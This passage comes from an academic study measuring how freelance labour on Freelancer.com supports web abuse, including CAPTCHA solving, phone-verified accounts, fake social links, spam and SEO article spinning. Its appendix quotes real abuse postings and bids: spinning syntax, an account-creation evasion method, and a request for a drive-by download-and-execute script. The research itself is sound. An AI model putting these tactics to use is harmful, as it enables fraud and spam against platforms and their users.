tle more than solving a CAPTCHA. CAPTCHAs are de-
signed to be hard to solve algorithmically, and thus create
an obstacle to automating service abuse. In response to
their widespread deployment, human-based CAPTCHA-
solving services emerged in abuse ecosystem. Such ser-
vices depend on cheap human labor to provide a sim-
ple programmatic interface for solving CAPTCHAs to an
otherwise completely automated abuse processes chain.
In a previous study [12], we described a robust retail
CAPTCHA-solving industry capable of solving a million
CAPTCHAs a day at $1 per 1,000 solved. Thus today,
CAPTCHAs are neither more nor less than a small eco-
nomic impediment to the abuser, forming the first step in
the account value chain.

By their nature, CAPTCHAs are ideally suited to the
Freelancer outsourcing paradigm, and indeed the Free-
lancer marketplace has played a key role in the evolu-
tion of CAPTCHA solving. Figure 2 shows the history of
prices offered for CAPTCHA solving as well the demand
(in number of job offers per month) since 2007. We see
a rise in demand starting from their first appearance, and
a corresponding drop in prices to the $1 per 1,000 price
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Figure 3: Sites targeted in account registration jobs.

seen today, corroborating our previous findings [12].

4.1.4 Account Verification
Because creating a basic account—even one requiring
solving a CAPTCHA—is so cheap, to curb online abuse
services must necessarily take advantage of some limited
resource available to a user. To increase the limits placed
on a basic account, a user must sometimes undergo ac-
count verification, which takes a variety of forms (e.g.
phone numbers, credit cards, etc.). Verification increases
the user’s standing within the service, giving the account
holder greater access to the service and thereby increas-
ing the value of the account. For this reason, verification
is a step in the value chain of many abuse processes.

The most popular type of verified account uses phone
verification. Beyond the steps for creating a basic ac-
count, phone-verified accounts (PVAs) require a work-
ing phone number as an additional validation factor in
account authorization. Services will either call or mes-
sage a code to the number, and the user must submit
the number back to the service to complete authoriza-
tion. For some services phone verification is mandatory
(e.g., for posting advertisements in certain forums on
Craigslist, creating multiple accounts in Gmail from the
same IP address), and for other services, phone verifi-
cation adds convenience (e.g., avoids CAPTCHAs with
Facebook). Services typically require the phone number
to be associated with a landline or mobile phone since,
unlike VoIP phone numbers, it is much more difficult
to scale the abuse of such numbers. Phone verification
is effective: immediately after Gmail introduced phone
verification to limit account abuse, for instance, prices
for Gmail accounts on underground forums skyrocketed
to 10 times other Web-mail accounts [2]. However, even
more so than CAPTCHAs, PVAs add further delay and
inconvenience to users and is the primary reason why ser-
vices do not use phone verification uniformly.

4.1.5 Web Services Targeted
Figure 3 shows the distribution of services targeted in job
postings for basic and verified account registrations. For
ease of comparison, it shows the top 10 targeted services
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Figure 4: Demand for account registration jobs over time.
The dashed vertical lines indicate approximate dates when
Craigslist introduced phone verification for erotic services ads
(March 2008) and other services (May 2008).

for both kinds of accounts, combined. For a job targeting
multiple services, we count it in the total for each service
mentioned. Job postings target accounts in every major
category of Internet service: Web mail, social networks,
as well financial and marketplace services. However the
distribution of specific services differ markedly between
the two types of account registration jobs, reflecting how
services vary in their deployment of additional verifi-
cation mechanisms (if any). Basic accounts are useful
for many purposes, including obtaining accounts up for
other Internet services (Facebook, Craigslist, etc.), and
Gmail is by far the most popular. When it comes to veri-
fied accounts, on the other hand, Craigslist is the dom-
inant target, most certainly because Craigslist sections
targeted by spammers all require PVAs.

We posted a job soliciting bids for “CraigsList Phone
Verified Accounts PVA” on Freelancer.com. Of the 10
bids we received, 4 contained prices: $3, $4, $4.50, and
$6. These prices are consistent with the currently ob-
served buyer offers for Craigslist PVAs. The pricing of
PVAs tells us in monetary terms the value of phone ver-
ification as a security mechanism. For Craigslist, PVAs
have made account abuse extremely expensive. In con-
trast, retail services sell Gmail PVAs for around 25¢, a
10–20 fold price difference compared to Craigslist.

4.1.6 Trends
Demand for accounts through Freelancer grew dramati-
cally starting mid-2008. Figure 4 shows the number of
account creation jobs posted over time. Demand for ba-
sic accounts steadily increased through mid-2008, then
dramatically increased until it peaked in mid-2009.

Demand for verified accounts rose greatly when
Craigslist introduced phone verification for the erotic ser-
vices section of their site in early March 2008 [4]. De-
mand grew steadily until about October 2009, and then
dropped. We extracted prices from the Craigslist post-
ings, and observed that Craigslist PVAs first rose to $4
by the end of 2008 and then settled around $2. In Octo-
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ber of 2009, prices spiked to more than $5, then hovered
between $2 and $3 through 2010.

For both types of accounts—basic and verified—
demand dropped during 2010. We do not know the cause;
however we suspect this may be due to stricter policing
on behalf of Freelancer.com; our own price solicitation
for Craigslist posting was canceled by the site.

4.2 OSN Linking
Online social networking links can be abused in two
ways: (1) as a communication channel to market to
real users, which is a finished product ready to directly
monetize; (2) as an intermediate product to increase the
reputation—and thus influence—of accounts by adding
social links to other fake accounts. Previous work has
shown that online social networking spam has a higher
click-through rate than traditional email-based spam [7].
Thus, OSN platforms have emerged as a lucrative mar-
keting venue where spammers are exploiting the trust re-
lationships that exist in social networks to improve their
conversion rates. However, it is difficult for a spammer
to contact users on a social networking site until they
have established a social link with real users. These so-
cial links take many different forms, depending on the
targeted social networking site, such as convincing a user
to friend the spammer, follow a spammer’s Twitter feed,
become a fan of the spammer’s page, or subscribe to
the spammer’s YouTube channel. Building social links
to real users is analogous to gathering email addresses
that will later by monetized with email spamming. Once
this social link is established, the spammer has a com-
munication channel that is both highly reliable and not
subject to aggressive filtering.

Adding fake social links is a relatively inexpensive
method for increasing the reputation of an account,
which in turn presumably improves the success rate of
establishing links to real users. This method is effective
because people are more willing to establish or accept
social links that are more popular in terms of the number
of previously-established social links or other endorse-
ments. If the account has many social links and, more
importantly, if mutual social links exist, the likelihood
increases that the targeted real user will establish or ac-
cept a social link with the spammer.

In this section we survey the Freelancer.com market
for buying both real and fake bulk social links.

4.2.1 Characterization
There are two main categories of social networking links
requested in jobs. The first are friendship relationships
(e.g., MySpace and Facebook friends), where an active
invitation is offered and, if accepted, targeted messages
can then be delivered to a user’s private inbox. The sec-
ond are subscription relationships (e.g., Facebook fans,
Twitter followers, YouTube subscribers) where, if a user
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Figure 5: Number of job postings for social networking links.

can be induced to follow a spammer’s account, messages
will appear in a user’s feed; depending on the site, the re-
lationship also grants the ability to send private messages
to the user. A closely related goal is to use social links
to increase the perceived popularity of an object. Exam-
ples of this type of task are increasing the view count of
YouTube videos, or digging links on Digg. We group all
these jobs into the category of social network links and
they all follow the form of increasing the reputation of
an account/object or establishing a marketing channel to
real users.

Jobs for bulk social link building range from a few
hundred to hundreds of thousands of links. Typically
jobs interested in acquiring fake social links will re-
quest a relatively small number of links spread out over a
large number of accounts (e.g., add 500 friends to 50 ac-
counts). The requests for social links to real users often
specify a target demographic for the links, thereby ex-
ploiting the same targeted marketing potential of using
information included in a profile that legitimate advertis-
ers on these sites also use to improve ad targeting. For
example, a job might require that most social links be to
male accounts in the US over the age of 18. The most tar-
geted geographic demographics are high-income English
speaking countries including the US (46%), UK (13.2%),
Canada (9.5%) and Australia (6.2%). Also, based on key-
word searches, females are specifically targeted in 8% of
jobs and males in 3% of the jobs.

4.2.2 Trends
Figure 5 shows the demand over time for job postings for
social networking links. Overall demand for social links
has skyrocketed since the early part of 2010, suggesting
that spammers have only recently realized the potential
for monetizing social links. The social networking sites
with the largest English-speaking user bases (Facebook,
MySpace, Twitter, and YouTube) are targeted by 97% of
the job postings for social links. Over 50% of social link
jobs included words such as “real” and “active” indicat-
ing that they were seeking to buy a more finished type of
social link that could be directly spammed. This percent-
age is a lower bound, however, as it is unclear how many
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Top Countries (%)
Name Rating Links US IN BD PH

BD2 9.8 1,034 26.2 13.8 5.9 7.7
BD3 9.8 1,081 43.3 7.4 32.5 4.4
BD4 8.4 1,063 74.5 0.3 25.2 —
BD5 10 1,071 — — 100 —
BD6 10 1,145 60.0 8.7 8.4 5.3
BD7* 9.8 555 30.6 10.4 10.6 8.4
IN4 9.9 1,095 64.3 25.1 10.5 —
MY1 9.8 1,110 99.1 — — 0.1
PK4 – 1,015 24.7 9.2 5.9 7.0
RO1 10 1,058 31.8 11.0 8.8 8.4

Table 6: Summary of the social links purchased to pages for our
custom Web sites. The names of the sets correspond to the se-
lected workers’ home countries, while the rating column refers
to his or her average rating. The worker responsible for BD7 did
not complete the job in a timely manner. Country codes: BD –
Bangladesh, IN – India, RO – Romania, MY – Malaysia, PK –
Pakistan.

postings did not include these types of words but were
actually seeking real social links.

Overall the median offered price in posts were $0.01
per social link, and median bids were between $0.02–
0.03 per a social link. These prices were similar across
all of the social networking sites. This low price point
raises the interesting question of whether proposed de-
fenses that mitigate Sybil attacks via analysis of social
link structure [14, 15] might be vulnerable to adversaries
that are willing to simply hire humans to create real so-
cial links.

4.2.3 Experiences Purchasing Social Links
In preparation for purchasing social links, we instanti-
ated several Web sites on the topic of cosmetics consult-
ing [16] and created separate “pages” about each site on
a popular social networking service. We then commis-
sioned a job to obtain one thousand social links for these
pages. The posted job explicitly targeted users from the
US, Canada, and the UK. We assigned the task to 10 dif-
ferent workers, each given a different Web site to target.

Table 6 shows the results of this task. The name of
the sets correspond to the selected workers’ home coun-
tries, and the links column is the maximum reported daily
number of social links. Most of the workers delivered
the required number of social links in a timely manner
(except for the BD7 set); the quality of the social links,
however, was quite poor. Most of the workers did not de-
liver social links from users that met our specifications,
particularly in regards to user countries. Also, several of
the workers added social links at a rapid pace, with some
jobs being completed in as few as two days. Next, we ob-
served substantial overlap between the users linked to our
target pages, shown in Figure 6. As many as 50% of the
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Figure 6: The number of user accounts common to each pair of
workers hired to create social links. Labeled solid lines indicate
at least 100 user accounts (out of 1,000 requested) in common,
dashed lines indicate at least 10 but fewer than 100 user ac-
counts in common. Work performed by MY1, PK4, and BD2 was
done in April, while the remaining jobs were done roughly a
month later.
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Figure 7: Median number of friends vs. median number of page
social links for the sets of users linked to our websites.

users (between IN4 and BD4, for example) overlapped.
This overall suggests that the workers are all manipulat-
ing the same set of users to produce these social links,
or even perhaps subcontracting out the task to the same
groups of workers. Only one worker, responsible for MY1,
had no overlap with any of the other sites. Again, the
selected worker ratings do not reflect the quality of the
delivered products; we posit that buyers who hire these
workers find it difficult to evaluate social link quality.

Next, we extracted the profiles for the OSN users who
were linked to our target Web sites, and looked at the
number of friends and page links listed on their profiles.
Figure 7 shows a scatterplot of the median number of
friends versus the median number of page links for these
OSN users. Several clusters emerge in the graph. Within
each user batch, we manually visited the profiles of those
users; only one worker, MY1, appears to have delivered
social links from legitimate users. The rest used predom-
inately fake accounts, many of which had few friends and
a large number (>1,000) of page social links.

4.3 Spamming
In our study, we consider spamming to be the dissemina-
tion of an advertiser’s message to users by means other
than established advertising networks. Spamming pro-
vides the buyer with a direct marketing channel to his
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targets, and as such, represents one of the most finished
commodities in the advertising value chain.6

In our survey and classifier-based labeling (Tables 2
and 3), the class of spamming jobs is comprised of ad
posting and bulk mailing.7 Because Craigslist is the main
target of ad posting jobs (82%), we treat it separately. We
begin by first analyzing the pricing data for bulk mailing.

4.3.1 Bulk Mailing
Bulk mailing is simply traditional email spam and rep-
resents 0.3–0.4% of all jobs posted on Freelancer.com.
In most cases, the buyers supply their own mailing lists,
although some—generally targeting larger volumes—
expect bidders to supply their own address lists.

We extracted pricing data from the job descriptions
of 236 postings. We averaged these prices and discov-
ered that buyers on Freelancer.com were willing to pay
approximately $5.62 to send 1,000 emails, with a me-
dian price of $1.00. The extracted prices varied wildly;
thus, we manually scanned another 100 random post-
ings. Again, we observed a wide range of prices, from
one buyer willing to pay only $0.06/1,000 emails, to an-
other buyer willing to pay $5.00/1,000 emails.

A final point of comparison is our own posting for bulk
mailing services. We posted a job that involved sending
bulk emails to three million individuals and received 10
responses. Of the 10 responses, five included a price, and
these prices ranged from $0.30 to $2 per 1,000 messages
(with a median of $0.75/1,000 emails).

4.3.2 Craigslist Ad Posting
Posting an ad on Craigslist is typically free, but Craigslist
takes special measures to restrict the number of ads
posted by a single individual (e.g., IP rate limiting,
CAPTCHAs, etc.). In the context of our study, when
Freelancer.com buyers create jobs to “spam” Craigslist,
their goal is to obtain repeated ad postings from workers,
usually on a daily basis. This is done to keep a buyer’s
ads at the top of the search results. Our classifier iden-
tified 11,190 job postings of this type, 9,096 (81%) of
which contained the service name “Craigslist” or a varia-
tion thereof (in total comprising 1.1% of all jobs on Free-
lancer.com).8

Figure 8 shows the prices offered by buyers for a sin-
gle Craigslist posting (top) and the average number of
job posts per day pertaining to Craigslist ad posting (bot-

6The most finished commodity is actual site traffic; however, traf-
fic of reasonable quality (with respect to conversion rate) usually re-
quires site-specific targeting and additional advertiser-provided mate-
rial (“creatives”).

7While we found several other kinds of spam-like jobs (e.g., bulk
SMS), they did not represent a significant fraction of all jobs, and are
not part of our study.

8Classified ad sites BackPage and Kijiji represented 6.6% and 5.5%
of jobs classified as ad posting; we chose to focus on Craigslist because
it dominated this job category.
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Figure 8: Median monthly prices offered by buyers for each
Craigslist ad posted (top), and the monthly number of posts
(bottom), both as a function of time. The solid vertical price
bars show 25% to 75% price quartiles. The dashed vertical lines
indicate approximate dates when Craigslist introduced phone
verification for erotic services ads (March 2008) and other ser-
vices (May 2008). The three bids received in response to our
solicitation are indicated with a triangle on the right edge.

tom). The solid circles indicate monthly median prices,
and the solid bars show the 25% to 75% quartiles of the
prices. In early March 2008, Craigslist added a phone
verification requirement for posting in the erotic services
section [4], and later extended the requirement to post-
ing in other parts of the site some time in early May
2008 (both dates indicated with dashed vertical lines in
the graph).

Figure 8 illustrates that the demand for posting to
Craigslist started growing gradually after the policy
changes, and the prices offered by buyers stayed es-
sentially unchanged until mid-2009. Recall that in mid-
2009, demand for phone verified accounts (which are
dominated by Craigslist) appears to drop dramatically
(Figure 4), having increased rapidly over the past year.
Note, however, that the demand for Craigslist ad post-
ing continues to rise during that same time period, nearly
quadrupling in price within a year.

To further compare pricing data, we posted a job de-
scription on Freelancer soliciting bids for “Experienced
Craigs List Posters.” We received 10 responses, with
three bids of $0.40, $0.60, and $0.65 per ad; these prices
are shown for comparison purposes in the top graph of
Figure 8 as solid triangles on the right edge. These prices
are roughly in accordance with the buyer offers.

4.4 Search Engine Optimization
Search engine optimization (SEO) represents the second
major advertising channel along with spam. SEO is a
multi-billion dollar industry for improving the ranking
of sites and pages returned in search results on popu-
lar search engines. Improving the ranking of pages in
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search results increases traffic to that page. “White hat”
SEO improves the search rank of pages while obeying
the guidelines provided by search engine companies like
Google that prevent abuse of the indexing and ranking
algorithms. “Black hat” SEO abuses the indexing and
ranking algorithms, sacrificing the relevance of a page
with the sole goal of attracting traffic via search results.

There are three kinds of black hat SEO offerings
on Freelancer.com, spanning the spectrum from least to
most “finished”: content generation, link building, and
search placement.

Content generation increases the number of sites that
contain indexable content together with links to a target
page. This goal is achieved either by having writers gen-
erate unique content for sites, often by rewriting existing
material, or by using a semi-automated technique known
as spinning. Spinning often uses structured templates to-
gether with a variety of word, phrase, and sentence “dic-
tionaries” to generate many variants of effectively the
same content, and is analogous to the template-based
techniques used to generate polymorphic spam that can
defeat spam filters [11].

Link building is a more focused type of SEO job
whose goal is to place links on pages with existing con-
tent, emphasizing placement on pages with high rank as
defined by search engines. Rather than generating and
distributing content across many sites as a basis for im-
proving the ranking of a target page, link building boot-
straps on existing highly-ranked pages.

The most finished kind of SEO job is search place-
ment. The buyer does not care how the desired search
placement is achieved, only that they place in the top
search results on Google. Such jobs were relatively rare
on Freelancer, and we only survey content generation and
link building jobs in further detail.

4.4.1 Content Generation
A popular form of abusive SEO is to post “articles”
to various sites and forums. These articles contain key-
words and links intended to increase the search engine
PageRank of a page in search results returned from
queries that use the same keywords. With proper ac-
counts (Section 4.1), the posting step can be automated.
However, defenses implemented by search engines can
detect automatically-generated article content. Such de-
fenses have thereby created a demand for human workers
to generate sufficiently realistic articles that defeat the
countermeasures. Indeed, such article writing jobs rep-
resent the most popular abusive job category by far, ac-
counting for over 10% of all Freelancer jobs (Table 2).

Article job descriptions request batches of 10–50 ar-
ticles at a time in grammatically correct English on a
particular topic, seek articles typically 250–500 words
in length, and often have a variety of requirements

�

�

�

� �

�

�

�

�

� �

�

�

�

�

�

�

�

� � �

� �

�

� � � � � � � �

�

� �

�

�

�

� � �

� � �

�

� � � � � � �

�

�

2007 2008 2009 2010 2011
$0

$ 6

O
ffe

re
d 

pr
ic

e 
pe

r a
rti

cl
e

0

3000

Vo
lu

m
e

Figure 9: Median monthly prices offered by buyers for each
article posted (top) and monthly average number of buyer posts
per day (bottom), as a function of time. Vertical price bars show
25% to 75% price quartiles.

that reflect perceived countermeasures implemented by
the search engines. A frequent requirement is sufficient
“originality” (albeit often of simply rewritten text) to
pass CopyScape, a popular plagiarism detection tool;
such originality counters the capability of search engines
to detect and discount similar content. Other such re-
quirements request rewritten text beyond straightforward
manipulation of existing content (simple synonym sub-
stitution, transposing sentences, etc.).

Figure 9 shows buyer demand and offered prices over
time for article content generation jobs. Growth in de-
mand for articles has been strong, with the number of
jobs offered increasing linearly, with a peak of nearly
3,000 article jobs posted in August 2010. This substantial
growth in demand strongly suggests that article writing is
indeed an effective form of SEO abuse. Yet prices for ar-
ticles have been relatively stable over the past four years,
with buyers offering $2–4/article.

4.4.2 Experiences Purchasing Articles
To evaluate the quality of the articles written by Free-
lancer workers, we solicited and employed ten workers
to write six original articles on the topic of skin care
products. We required each article to contain at least 400
words, have a keyword density of at least 2%,9 and pass
the CopyScape [5] plagiarism detection system. Table 7
shows the results of this assignment. Workers are identi-
fied by their two-letter country and a digit. In addition to
the three criteria above, we also computed the articles’
Flesch–Kincaid Grade Level [10]—a measure of text

9“Keyword density” is the frequency of occurrence of a set of key-
words provided by the bidder to be included in the text. Keyword den-
sity thresholds ensure that search engines index a Web page with re-
spect to the specified keywords. In our experiment, we provided work-
ers with keywords such as “dry skin moisturizer” and “exfoliating
scrub”.
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Failed articles

ID Rating Len KD CS FKGL

IN5 9.50 – 6 – 8.8 ± 1.0
PH1 9.75 4 5 – 7.7 ± 0.9
BD8 – – 4 – 8.1 ± 0.7
KW1 9.62 – 3 – 10.0 ± 0.3
IN6 9.62 – 2 – 7.2 ± 0.8
UK2 10 – 1 2 9.0 ± 0.5
US1 10 – 1 – 8.6 ± 0.2
BD9 9.81 – 1 – 9.3 ± 0.5
AU1 – – 1 – 11.0 ± 1.0
KE1 10 – – – 9.6 ± 1.0

Table 7: Quality of articles written by workers on the topic of
skin care products. Columns Len, KD, and CS show how many
of each worker’s six articles failed the length, keyword density,
and CopyScape plagiarism detection requirements. The FKGL
column shows the Flesch–Kincaid Grade Level [10] range of
each worker’s text after excluding their lowest and highest scor-
ing articles. Country codes: PH – Philippines, IN – India, BD
– Bangladesh, KW – Kuwait, UK – United Kingdom, US –
United States, AU – Australia, KE – Kenya.

readability based on word and sentence length, roughly
indicating the school grade level required to comprehend
the text. The FKGL column shows the score range of the
work produced by each worker after excluding their low-
est and highest scoring articles.

Quality of the work produced by the ten workers var-
ied considerably. More than half of the articles produced
by workers IN5, PH1, and BD8 did not meet our 2% key-
word density requirement; in addition, PH1 failed to pro-
duce articles of the required length (400 words). On the
other hand, half of the workers produced articles satisfy-
ing our criteria in at least five out of six cases. Unfortu-
nately, two of the articles produced by UK2 did not pass
the CopyScape plagiarism detection tool, and as such,
would likely not be indexed by search engines.

Articles written by the workers were understandable
and on topic. The Flesch–Kincaid Grade Level of the ar-
ticles reveals a notable level of English composition. For
comparison, five Wikipedia articles on the same topic
had scores in the range 12.1 ± 0.5, while six articles
from Cosmopolitan—a popular women’s magazine in
the US—about skin care fell in the 7.9 ± 0.8 range. Thus,
at least with respect to SEO, our results show Freelancer
to be a useful source of inexpensive content that would
be difficult to distinguish mechanically from work pro-
duced by more highly-paid specialist writers.

4.4.3 Link Building
Google reports a PageRank (PR) metric for every page,
accessible via the Google Toolbar. The PR ranges from
0–10, with new and least popular pages having a PR of
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Figure 10: Average price buyers offered for backlinks on pages
with a given PageRank (PR). Higher PRs correspond to more
popular (and valuable) pages. The number above the bar corre-
sponds to the number of jobs requesting backlinks of that PR.

0 and the highest ranked pages having a PR of 10. This
PageRank is a combination of the number of sites that
link to the page—so-called backlinks—and the PageR-
anks of the pages with the backlinks. Not surprisingly,
another common SEO abuse is to increase the number of
sites that backlink to a page, and to have those backlinks
on sites with high PageRank.

Hiring people to perform this kind of SEO task is
another frequent kind of abusive job on Freelancer, ac-
counting for over 3% of all jobs. We placed such link-
building tasks into two categories, “white hat” and “grey
hat”. White hat link building jobs have requirements that
specifically try to avoid search engine countermeasures,
such as no link farms, no blacklisted sites, no redirects or
JavaScript links, links on sites with generic top-level do-
mains, and so on. Jobs also specify the PageRank of the
pages on which the backlinks will be placed, and that the
buyer will validate the links created according to all of
their criteria. Grey hat link building is much more indis-
criminate, such as spamming blogs with links embedded
in comments.

How much do people value backlinks as an SEO tech-
nique? The job postings quantify this value in economic
terms. For the “white hat” link building jobs for which
we could automatically extract pricing data, Figure 10
shows that the median price per backlink buyers offered
is directly correlated with the PageRank (PR) of the page
containing the backlink. One buyer offered over $25
per backlink on pages with PR8, while buyers offered
nearly $5 per backlink on PR4 pages, the most popularly-
requested PR.

Next, we look more closely at buyers who posted
“grey hat” link building jobs, or ones that allow for such
questionable SEO methods as blog commenting, forum
posting, etc. For these Freelancer job postings, buyers of-
tentimes directly specify the URL that they are interested
in using greyhat techniques on. We extracted over two
thousand URLs that were present in the body of the grey-
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Domain Name Num. Sites Num. Inlinks

Blogspot 316 10,028
Wordpress 213 2,402
Yahoo 147 1,187
ArticlesBase 143 747
Folkd 108 302
ArticleSnatch 107 491
Google 97 184
Squidoo 88 154
Diigo 88 277
ArticleAlley 88 471

Table 8: Summary of top 10 targeted domain names for greyhat
link purchasing.
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Figure 11: Distributions of countries for buyers and bidders.

hat link building posts. Using Yahoo Site Explorer [13],
we checked the first 1,000 inlinks (restricted by the API)
pointing to each URL. Then, we filtered URLs with more
than 1,000 inlinks remaining (i.e., not retrievable via the
Yahoo API), yielding 813 sites. Table 8 shows the top
domain names for the inlinks. As expected, Blogspot and
Wordpress are highly targeted for link spamming. Yahoo
Answers and Groups, as well as Google Knol and Google
Sites, are also targeted.

5 User Analysis
We end our investigation of Freelancer activity by sur-
veying the geographic demographics and job specializa-
tion of Freelancer users.

5.1 Country of Origin
There are clear demographic differences between buyers
and bidders. Figure 11 shows the distribution of coun-
tries of origin for all buyers and bidders of the abuse-
related jobs categorized in Table 2. (The distribution for
selected workers closely follows the overall bidder distri-
bution.) We extract the country of origin for users from
their profile information. We note that this information
is self-reported and nothing prevents users from being
dishonest; further, we have seen instances where buy-
ers post jobs specifically avoiding bidders from India,
for instance, providing a potential motive for dishonesty.
Numbers for such countries are therefore a lower bound.
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Figure 12: Top five countries of buyers posting abusive jobs.

The largest group of buyers is from the United States,
and other English-speaking countries feature promi-
nently (UK, Canada, Australia, even India). In contrast,
the largest group of bidders is from India, followed by
neighboring Pakistan and Bangladesh—countries with
a large cheap labor force, substantial Internet penetra-
tion, and where English is an official language or has
widespread fluency.

The country of origin demographics for each cate-
gory reveals yet more detail. Figures 12 and 13 show
the top five countries of buyers and bidders, respectively,
for each abusive job category in Table 2. Buyers for ad-
vertisement posting (generally targeting Craigslist, Sec-
tion 4.3.2) are primarily from the United States, whereas,
somewhat surprisingly, buyers for human CAPTCHA
solvers are primarily from Bangladesh and India—these
are buyers looking to form teams of solvers. Bidders
from India and Bangladesh dominate white hat and so-
cial networking link building jobs, respectively. Bidders
from the only Western country (US) in the top five tar-
get article generation, creating PVAs, and advertisement
posting.

5.2 Specialization
Aside from some uniform basic fundamental require-
ments, such as understanding English and having access
to and basic knowledge of the Internet, the abuse jobs
posted on Freelancer essentially require unskilled labor.
As a result, Freelancers need not necessarily specialize—
focus solely on a particular job category—in the tasks
that they undertake.

As one metric of whether specialization occurs or not,
we examined whether buyers and bidders participated in
more than one category of job (for those buyers and bid-
ders who engaged in more than one job). Indeed, bidders
clearly do not specialize. For all but one category, on av-
erage fewer than 5% of the jobs that bidders bid on are
within the same category; the exception is article content
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Figure 13: Top five countries of bidders on abusive jobs.

generation, where nearly 15% of bids per bidder are on
other article jobs. Moreover, not only are most bids on
other job categories, but the majority of bids are on jobs
that did not even fall into an abuse category in Table 2.
In other words, for bidders who bid on at least one abuse
job, 70–80% of their other bids were for a non-abuse job.

Buyers follow a similar pattern as bidders, but are
slightly more focused: 10% of a buyer’s jobs, on aver-
age, are for jobs in the same category, while 60–70%
of a buyer’s jobs were for a non-abuse job. Article con-
tent generation again is the one exception, with 30% of a
buyer’s jobs requesting articles.

6 Discussion
Figure 14 illustrates how the various markets described
in this study fit together in the Web abuse chain. At the
lowest level, workers need access to Web proxies (due
to account registration limits placed on IP addresses),
CAPTCHA solvers/OCR packages, and phone numbers.
Utilizing these components, abusers can create Web-
based email accounts, the primary building blocks for
service abuse. The email accounts can be used to reg-
ister accounts for a number of Web services, including
Craigslist, Facebook, Twitter, Digg, etc.

The abusers can then implement various monetiza-
tion schemes with the accounts, most of them involving
“spamming”. The most direct form of spamming utilizes
the Web email accounts to send spam. Craigslist PVAs al-
low abusers to post repeated, daily advertisements, mak-
ing a retailer’s product consistently appear near the top
of the search results. Abusers can use social network-
ing accounts in several ways, the most direct involving
the creation of social links (fan, friend, follower, etc.) for
marketing purposes.

The relationship between this ecosystem and SEO is
subtle: the accounts on social networking sites can also
be used for SEO purposes. For example, abusers may
spam blogs with comments that link to a Web page to ob-







 











































Figure 14: How the various elements of the market fit together

tain more backlinks for the site. Abusers may also sub-
mit links to social bookmarking sites, or utilize forum
accounts to create posts containing links (most often in
the signature field). Many of these SEO jobs require con-
tent, either in the form of articles, or actual content to in-
clude in blog comments or forum posts. Lastly, abusers
can also directly purchase backlinks on sites.

7 Conclusion
This paper demonstrates how web service abuse can be
augmented by the use of low-cost freelance labor. Seven
years of historical data have allowed us to collect infor-
mation on abuse-related work on freelancer.com, one of
the largest online websites offering piecework labor out-
sourcing. Potential employers offered jobs such as link
building on social network sites, mass email account cre-
ation, and tasks related to search engine optimization. In
addition, we found that the demand for freelancers to fill
these jobs is being matched by an increase in the number
of freelancers around the world who will compete for the
work.

Freelancer.com, and other sites that offer freelance
jobs and employment are prime sources of new types
of service abuse. The willingness of many freelancers to
take part in these schemes allow those who offer the jobs
to quickly ascertain new schemes and their success rate;
if they are judged to be profitable, the jobs quickly be-
come a staple income for the willing freelancer and thus,
the employer. Services developed by experts to ensure
the security of websites, such as CAPTCHA technology,
are now targeted by employers who hire freelancers to
break encoding and circumvent the site’s security mea-
sures. These trends point to the need for anti-abuse for-
tifications that will defend against attackers who have a
workforce of virtually unlimited knowledge at an inex-
pensive price. 10

10The conclusion of this paper is an example of article rewriting:
modifying text to pass plagiarism detection systems like CopyScape,
commonly as a means of producing high-quality SEO content. The
original text, given to the freelancer, is given below:
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A Interesting Jobs
This appendix includes representative real jobs posted to
Freelancer from all the job groups. These examples provide
context and help to clarify the various legitimate and dirty job
categories.

A.1 Legitimate

Private. project has already be awarded to <...>. thanks

Legitimate Miscellaneous. I have a simple document for
translation from Dutch to English. Those who are available for
immediate start and freelancers only apply.

A.2 Accounts

Human CAPTCHA Solving. PixProfit.com is the portal
for data-typist. We’re looking for individuals or team of
data-entering workers. We’ll pay from $1 for 1000 correctly
typed images.

Phone Verified Accounts. We are looking for a reliable
provider of new CL Phone Verified Accounts(PVA).Will be
buying up to 1000-2000/month. Willing to pay no more than
$2.00/PVA Or best offer.

A.3 SEO

SEO Content Generation.
I need 20 articles written about penis enlargement and 40
articles written about male enhancement. The total is 60
articles with the following requirements. Your writing must be
your own original work (no article spinning). Length 500-600
words per article. Written in excellent english with perfect
grammar. Keyword density of 2%.

SEO Spinning Article. I am looking for native content
providers to provide me articles with spinner syntax.
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Something like this : {Deciding‖Determining} in what
{type‖kind‖sort} of credit card to {apply‖go for‖lend
oneself‖put on‖employ} for {depends‖counts‖reckons} on
your {past‖previous‖recent‖former} credit
{history‖account‖report‖theme}. Providers without prior
spinning knowledge, Please don’t bid. I will pay 1.5 USD per
spun article to start with only through Paypal.

Link Building/Grey Hat. I am looking to outsource large
numbers of blog commenting. Quality blog commenter
needed. Can provide 1000 comments per week upwards.
This will be for a trial of 100-200 comments per week.

Link Building/White Hat. 100 Gambling Links from
related PR 4 or higher pages. All on different sites and servers
Requirements: No link farms, link-exchange programs, No
black hat links or Tricks.

SEO Miscellaneous. keyword : trader joes
website : will mention via message
SE : google.com
i wan’t my website rank 1 in google.com. If interested pls send
detail what is your skill to get this website top on google.com

A.4 Spamming

Human Oriented Postings. I need per day 2K Classified
Ad Posting for my site I willings to pay for it $100. Per ad
$0.05

A.5 OSN Linking

Create Social Networking Links. I am lonely I want to
give my facebook account details to someone and have them
populate it with 5000 English speaking friends help me please.

A.6 Miscellaneous

Abuse Tools. The first tool necessary is Micro Niche
Finder. You will need this to do keyword research, and select
keywords based on our requirements. The tool will also allow
you to see which keywords have .com, .org, or .net domains
available. Once the available domains have been determined,
we will review your picks, and purchase them after approval.
Once purchased, you will need to create articles for each page,
and install the necessary wordpress theme and plugins. Once
this is complete, you will need to run SE Nuke or Evo II for
each site, at least 4 times per month.

Academic Fraud. For this project, you will put together
several techniques and concepts learned in CS <deleted > and
some new techniques to make an application that searches a
large database of people which we will call a Personal
Information Manager (PIM), even though it only contains a
few fields, and even fewer advanced functions. This project
creates a simple program that allows people to enter names or
email addresses and check whether they are found in the PIM.

Account Creation Tools. Hey all! I’m in need of US
telephone numbers with call forwarding for CL PVA creation.
Please quote your rate. Bids lower or equal to $1 will be given
higher priority.

Other Malicious. Hello, I have a small sized EXE file of
40KB and I need someone who can build a script who will
DOWNLOAD AND EXECUTE the EXE file

AUTOMATICALLY. What I mean by automatically? By
entering a single URL in the browser.
Here is a PERFECT example: http://www.<deleted>.com. In
the example above the EXE file is EXECUTED even when
you click on CANCEL in the javascript prompt screen.

B Interesting Bids
This appendix includes representative real bids received from
Freelancer workers from some abuse job groups. These bids
shed light into the various tools and techniques used by
workers to circumvent Web security mechanisms. Also, the
bids provide some insight into worker demographics.

B.1 Accounts
Account Creation. 1 Account create on 1 ip,
Cookies/Cache is cleared after every account automatically.
All accounts are created using real human names. We have the
